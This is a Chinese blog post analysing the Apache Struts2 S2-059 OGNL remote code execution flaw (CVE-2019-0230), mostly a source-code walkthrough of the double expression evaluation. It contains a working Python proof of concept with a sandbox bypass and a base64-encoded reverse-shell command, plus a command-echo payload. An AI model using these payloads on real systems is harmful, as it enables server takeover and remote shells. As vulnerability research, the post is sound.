CVE-2019-0230 | Struts2-059 远程代码执行漏洞
作者:互联网
CVE-2019-0230 | Struts2-059 远程代码执行漏洞
2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}
并且skillName
的值用户可以控制,就会造成OGNL
表达式执行。
影响版本:
Apache Struts2:2.0.0-2.5.20
利用条件
漏洞利用前置条件是需要特定标签的相关属性存在表达式%{payload}
,且payload
可控并未做安全验证。这里用到的是a
标签id
属性。id
属性是该action
的应用id
。受影响的标签有很多, 继承AbstractUITag
类的标签都会受到影响,受影响的属性只有id
。
环境搭建
git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-059
docker-compose up
Struct2的Maven源码下载地址:传送门
环境启动后,访问查看首页http://host:8080/index.action
POC
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS82NjY2IDA+JjE9}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
OGNL表达式简述
#符号
访问非根对象属性,例如示例中的#session.msg表达式,由于Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀。实际上,#相当于ActionContext. getContext();#session.msg表达式相当于ActionContext.getContext().getSession(). getAttribute("msg") 。
构造 Map。如 #{key1:value1,key2:value2},这种方式常用于给 radio 或 select、checkbox 等标签赋值。
如果要在页面中取一个 Map 的值可以如下书写:<s:property value="#myMap['key']"/>。
container=#context['com.opensymphony.xwork2.ActionContext.container']就是获取context对象中key为'com.opensymphony.xwork2.ActionContext.container'的键值
%符号
%
用途是在标签的属性值被理解为字符串类型时,告诉执行环境‘%{}’中的是 OGNL 表达式,并计算 OGNL 表达式的值。
struts2_S2_059
和S2_029
漏洞产生的原理类似,都是由于标签属性值进行二次表达式解析产生的。
漏洞分析
漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
一次解析
我们从org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag开始打断点
在this.populateParams()
进行赋值,所以我们跟进populateParams()
,进行初始参数值的填充。
但是在这里有点奇怪的是在Struts 2.2和2.3中都是执行this.populateParams
但是在2.1中就是执行populateParams()
并且当前类是有一个空的populateParams函数
但是实际上并没有执行到这个函数而是执行了org.apache.struts2.views.jsp.ui.TextFieldTag#populateParams
接着调用了调用了父类org.apache.struts2.views.jsp.ui.AbstractUITag#populateParams的populateParams()
方法
protected void populateParams() {
super.populateParams();
UIBean uiBean = (UIBean) component;
uiBean.setCssClass(cssClass);
uiBean.setCssStyle(cssStyle);
uiBean.setCssErrorClass(cssErrorClass);
uiBean.setCssErrorStyle(cssErrorStyle);
uiBean.setTitle(title);
uiBean.setDisabled(disabled);
uiBean.setLabel(label);
uiBean.setLabelSeparator(labelSeparator);
uiBean.setLabelposition(labelposition);
uiBean.setRequiredPosition(requiredPosition);
uiBean.setErrorPosition(errorPosition);
uiBean.setName(name);
uiBean.setRequiredLabel(requiredLabel);
uiBean.setTabindex(tabindex);
uiBean.setValue(value);
uiBean.setTemplate(template);
uiBean.setTheme(theme);
uiBean.setTemplateDir(templateDir);
uiBean.setOnclick(onclick);
uiBean.setOndblclick(ondblclick);
uiBean.setOnmousedown(onmousedown);
uiBean.setOnmouseup(onmouseup);
uiBean.setOnmouseover(onmouseover);
uiBean.setOnmousemove(onmousemove);
uiBean.setOnmouseout(onmouseout);
uiBean.setOnfocus(onfocus);
uiBean.setOnblur(onblur);
uiBean.setOnkeypress(onkeypress);
uiBean.setOnkeydown(onkeydown);
uiBean.setOnkeyup(onkeyup);
uiBean.setOnselect(onselect);
uiBean.setOnchange(onchange);
uiBean.setTooltip(tooltip);
uiBean.setTooltipConfig(tooltipConfig);
uiBean.setJavascriptTooltip(javascriptTooltip);
uiBean.setTooltipCssClass(tooltipCssClass);
uiBean.setTooltipDelay(tooltipDelay);
uiBean.setTooltipIconPath(tooltipIconPath);
uiBean.setAccesskey(accesskey);
uiBean.setKey(key);
uiBean.setId(id);
uiBean.setDynamicAttributes(dynamicAttributes);
}
org.apache.struts2.views.jsp.ui.AnchorTag.class
中存储着所有的标签对象。
继承AbstractUITag
类的标签都会受到影响。当这些标签存在id
属性时,会调用父类org.apache.struts2.views.jsp.ui.AbstractUITag.populateParams()
方法,触发setId()
方法时会解析一次OGNL
表达式。
为什么必须是id标签?
跟进其他属性到org.apache.struts2.components.UIBean.class
发现AbstractUITag.class
所有的属性除了id
都是直接赋值。所以就不会进行下面触发第一次OGNL解析的函数代码,而这个漏洞需要进行二次解析才会出现。
org.apache.struts2.components.UIBean#setId
@StrutsTagAttribute(description="HTML id attribute")
public void setId(String id) {
if (id != null) {
this.id = findString(id);
}
}
这是其他属性的org.apache.struts2.components.UIBean#setXX函数:
@StrutsTagAttribute(description="Set the tooltip of this particular component")
public void setTooltip(String tooltip) {
this.tooltip = tooltip;
}
@StrutsTagAttribute(description="Deprecated. Use individual tooltip configuration attributes instead.")
public void setTooltipConfig(String tooltipConfig) {
this.tooltipConfig = tooltipConfig;
}
@StrutsTagAttribute(description="Set the key (name, value, label) for this particular component")
public void setKey(String key) {
this.key = key;
}
跟进setId()
方法,会有一个findString()
方法,这里也就解释了为什么是id
属性进行解析了。
org.apache.struts2.components.UIBean#setId
@StrutsTagAttribute(description="HTML id attribute")
public void setId(String id) {
if (id != null) {
this.id = findString(id);
}
}
如果id
不为空,那么给id
赋值用户传入的值。接着跟入findString()
。
org.apache.struts2.components.Component#findString(java.lang.String)
protected String findString(String expr) {
return (String) findValue(expr, String.class);
}
继续跟进findValue(expr, String.class)查看赋值过程
org.apache.struts2.components.Component#findValue(java.lang.String, java.lang.Class)
protected Object findValue(String expr, Class toType) {
if (altSyntax() && toType == String.class) {
if (ComponentUtils.containsExpression(expr)) {
return TextParseUtil.translateVariables('%', expr, stack);
} else {
return expr;
}
} else {
expr = stripExpressionIfAltSyntax(expr);
return getStack().findValue(expr, toType, throwExceptionOnELFailure);
}
}
如果altSyntax
功能开启(此功能在S2-001
的修复方案是将其默认关闭),altSyntax
这个功能是将标签内的内容当作OGNL
表达式解析,关闭了之后标签内的内容就不会当作OGNL
表达式解析了。执行到TextParseUtil.translateVariables('%', expr, this.stack)
,然后在下面执行OGNL
的表达式的解析,返回传入action
的参数%{1+4}
,这里进行了一次表达式的解析。也就是对属性的初始化赋值操作。
translateVariables()
函数传过来的open
参数的值是'%'
,在截取的时候是截取的 open
之后的字符串,并把传入stack.OgnlValueStack
,这也是我们的poc
构造的时候要写成%{*}
形式的原因。
跟到com.opensymphony.xwork2.util.TextParseUtil#translateVariables(char, java.lang.String, com.opensymphony.xwork2.util.ValueStack)
方法。
在translateVariables()
方法while
循环里加了一个maxLoopCount
参数来限制递归解析的次数,break
跳出循环(这是对S2-001的修复方案)。这里的maxLoopCount
为1。
com.opensymphony.xwork2.util.TextParser接口
继续跟进下一个translateVariables函数
跟进translateVariables的evaluate函数parser所属类com.opensymphony.xwork2.util.OgnlTextParser也只有这一个函数。
com.opensymphony.xwork2.util.OgnlTextParser#evaluate
首先有一个大的while循环, 包裹着这个if结构,想要退出这个while循环只有两个点:
-
loopCount > maxLoopCount
其实就是通过maxLoopCount限定循环次数,达到循环次数就结束, 上面提到默认为1
-
不满足(start != -1) && (end != -1) && (count == 0)
start是第一个
%
出现的下标 end是倒数第二个字符下标 cont就是字符串中{}
出现的对数
最终在这里完成第一次赋值。
这里只进行了一次表达式的解析,返回给action传入的参数是%{1+4}
,并未解析成功表达式。
至于更详细的表达式解析代码的地点我是没调出来, 网上的文章大多也基本是找到这一步就结束了,后面的怎么回事我就不懂了, 因为我继续往下跟了两三层都没找到, 也不是很了解这些模块所以跟到这里就不继续下去了, 给一下从populateParams()到出现OGNL的相关类出现的调用链
到了最后这个findValue函数:com.opensymphony.xwork2.ognl.OgnlValueStack#findValue(java.lang.String, java.lang.Class, boolean)可以看到已经是一个OGNL类了, 但是后面更详细的就不懂在哪里找了,但是问题不大,就当个小坑吧。
二次解析
找到执行第一次进行OGNL解析的地方之后我们回到org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag
通过populateParams();
调用上面一系列函数代码后执行component.start(pageContext.getOut())
在这里会发生标签属性值的二次表达式解析
org.apache.struts2.components.ClosingUIBean#start
org.apache.struts2.components.UIBean#evaluateParams代码
跟进populateComponentHtmlId(form);
org.apache.struts2.components.UIBean#populateComponentHtmlId
继续跟进findStringIfAltSyntax(id);
org.apache.struts2.components.Component#findStringIfAltSyntax
为什么要开启altSyntax功能?
可以看到这里对id
属性再次进行了表达式的解析, 但是需要注意的是在这里对id的二次解析必须是在开启了altSyntax
功能的前提下才会通过if
判断。
跟进findString(expr)
org.apache.struts2.components.Component#findString(java.lang.String)
进入到findString()
后,就跟前面流程一样了。这也是解释了这次漏洞是由于标签属性值进行二次表达式解析产生的。
又回到这里了, 直接当evaluate()函数进行了OGNL解析就行。所以到这里就执行了二次解析进而造成代码执行。
总结比较
如果表达式中的值可控,那么就有可能传入危险的表达式实现远程代码执行,但是这个漏洞利用前提条件是altSyntax
功能开启且需要特定标签id
属性(暂未找到其他可行属性)存在表达式%{payload}
且payload
可控且不需要进行框架的安全校验。利用条件较为苛刻,需要结合应用程序的代码实现,所以无法进行大规模的利用。
此次S2-059
与之前的S2-029
和S2-036
类似都是OGNL
表达式的二次解析而产生的漏洞,用S2-029
的poc打不了S2-059
搭建的环境。
与S2-029
的区别:S2-029
是标签的name
属性出现了问题,由于name
属性调用了org.apache.struts2.components.Component.class
的completeExpressionIfAltSyntax()
方法,会自动加上"%{}"
这也就解释了S2-029
的payload
不用加%{}
的原因。
protected String completeExpressionIfAltSyntax(String expr) {
return this.altSyntax() ? "%{" + expr + "}" : expr;
}
关于受影响标签:
继承AbstractUITag
类的标签都会受到影响。当这些标签存在id
属性时,会调用父类AbstractUITag.populateParams()
方法,触发setId()
解析一次OGNL
表达式。比如label
标签(同样输入表达式%{1+4}
)。
这里可以看到LabelTag.class
继承了AbstractUITag.class
关于版本问题:
不同的版本对于沙盒的绕过不同,所用的到的poc绕过也就有出入,再高版本2.5.16之后的沙盒目前没有公开绕过方法。稍低版本Struts 2.2.1
与稍高版本Struts 2.3.24
,均可以控制输入值。
关于回显的示例解析(直接当payload是无效的):
%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()}
OgnlContext
的_memberAccess
变量进行了访问控制限制,决定了用哪些类,哪些包,哪些方法可以被OGNL
表达式所使用。
所以其中poc中需要设置
#_memberAccess.allowPrivateAccess=true
用来授权访问private
方法,#_memberAccess.allowStaticMethodAccess=true
用来授权允许调用静态方法,
#_memberAccess.excludedClasses=#_memberAccess.acceptProperties
用来将受限的类名设置为空
#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties
用来将受限的包名设置为空
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter()
返回HttpServletResponse实例获取respons对象并回显。
#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
执行系统命令,
使用java.util.Scanner
一个文本扫描器,执行命令ls -al
,将目录下的内容回显出来。
至于为什么加%{}
,在之前的分析中已经提及。
再埋个S2-061的坑:
S2-061和S2-059的OGNL表达执行触发方式一样。S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。
参考文章:
https://paper.seebug.org/1331/#_2
http://blog.topsec.com.cn/struts2-s2-059-漏洞分析/
标签:uiBean,0230,struts2,Struts2,代码执行,OGNL,org,id,表达式 来源: https://www.cnblogs.com/SEEMi/p/16189786.html